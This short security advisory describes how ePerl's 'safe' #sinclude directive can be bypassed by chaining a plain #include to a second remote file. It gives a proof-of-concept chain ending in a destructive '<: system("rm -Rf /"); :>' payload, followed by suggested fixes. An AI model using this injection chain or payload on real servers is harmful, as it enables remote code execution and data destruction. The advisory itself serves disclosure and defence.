Vulnerability

    ePerl

Affected

    ePerl

Description

    David Madison  found following.   ePerl allows  the user  to embed
    perl code (specified inside ePerl delimiters) in HTML.  ePerl  has
    the  ability  to  "safely"  include  untrusted  files  using   the
    #sinclude directive.   The untrusted  file is  not supposed  to be
    able to  specify any  perl code  to run,  but this  safe mode  can
    easily be circumvented.

    The  #sinclude   directive  operates   by  replacing   the   ePerl
    delimiters on the untrusted file  so that they are ignored  during
    parsing.  The problem is  that it still follows the  preprocessing
    directives, so the  untrusted file can  then include another  file
    while not in safe mode.

    As an example, consider  two files, one that  we own and one  that
    we sinclude.

    File my_machine.html:

        Here is information from some other source:
        #sinclude http://lala.com/untrusted.html

    Now, #sinclude is supposed to keep lala.com from putting any  perl
    code in untrusted.html,  but they still  can, because they  can do
    this; file http://lala.com/untrusted.html:

        Perl code in this file is ignored, but:
        #include http://lala.com/untrusted2.html

    File http://lala.com/untrusted2.html:

        Any perl code we want...
        <: system("rm -Rf /"); :>

    Then when someone views  the file my_machine.html, ePerl  will run
    the malicious code on the machine with the ePerl server.

Solution

    1) Temporarily turn off preprocessing when you enter an  #sinclude
       file.
    2) Convert all #includes into #sincludes inside an #include file.
    3) Move the delimiter replacement *into* the ePerl_PP_Process call
       as   opposed   to    after   it   -    in   addition,    ignore
       #if/elsif/else/endif  and  finally  convert  all  #include   to
       #sinclude
    4) Use  the  smaller  and  more  secure  ePerl replacement  that's
       written in perl:  http://MarginalHacks.com/Hacks/ePerl/